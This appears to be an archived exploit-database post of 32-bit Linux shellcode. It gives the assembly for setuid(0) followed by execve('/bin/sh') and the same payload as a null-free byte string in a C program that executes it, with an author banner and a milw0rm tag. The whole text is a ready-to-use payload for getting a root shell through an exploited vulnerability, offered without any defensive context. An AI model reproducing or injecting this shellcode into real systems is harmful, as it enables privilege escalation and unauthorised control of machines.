57 lines
No EOL
1.2 KiB
Text
Executable file
57 lines
No EOL
1.2 KiB
Text
Executable file
-------------------[ASM]----------------------
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global _start
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section .text
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_start:
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;setuid(0)
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xor ebx,ebx
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lea eax,[ebx+17h]
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cdq
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int 80h
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;execve("/bin/sh",0,0)
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xor ecx,ecx
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push ecx
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push 0x68732f6e
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push 0x69622f2f
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lea eax,[ecx+0Bh]
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mov ebx,esp
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int 80h
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-------------------[/ASM]----------------------
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-------------------[C]----------------------
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#include <stdio.h>
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const char shellcode[]= "\x31\xdb"
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"\x8d\x43\x17"
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"\x99"
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"\xcd\x80"
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"\x31\xc9"
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"\x51"
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"\x68\x6e\x2f\x73\x68"
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"\x68\x2f\x2f\x62\x69"
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"\x8d\x41\x0b"
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"\x89\xe3"
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"\xcd\x80";
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int main()
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{
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printf <http://www.opengroup.org/onlinepubs/009695399/functions/printf.html>("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE"
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"WITHOUT NULLS THAT SPAWNS A SHELL"
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"\n\nCoded by Chema Garcia (aka sch3m4)"
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"\n\t + sch3m4@opensec.es"
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"\n\t + http://opensec.es"
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"\n\n[+] Date: 29/11/2008"
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"\n[+] Thanks to: vlan7"
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"\n\n[+] Shellcode Size: %d bytes\n\n",
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sizeof(shellcode)-1);
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(*(void (*)()) shellcode)();
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return 0;
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}
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-------------------[C]----------------------
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# milw0rm.com [2008-11-13] |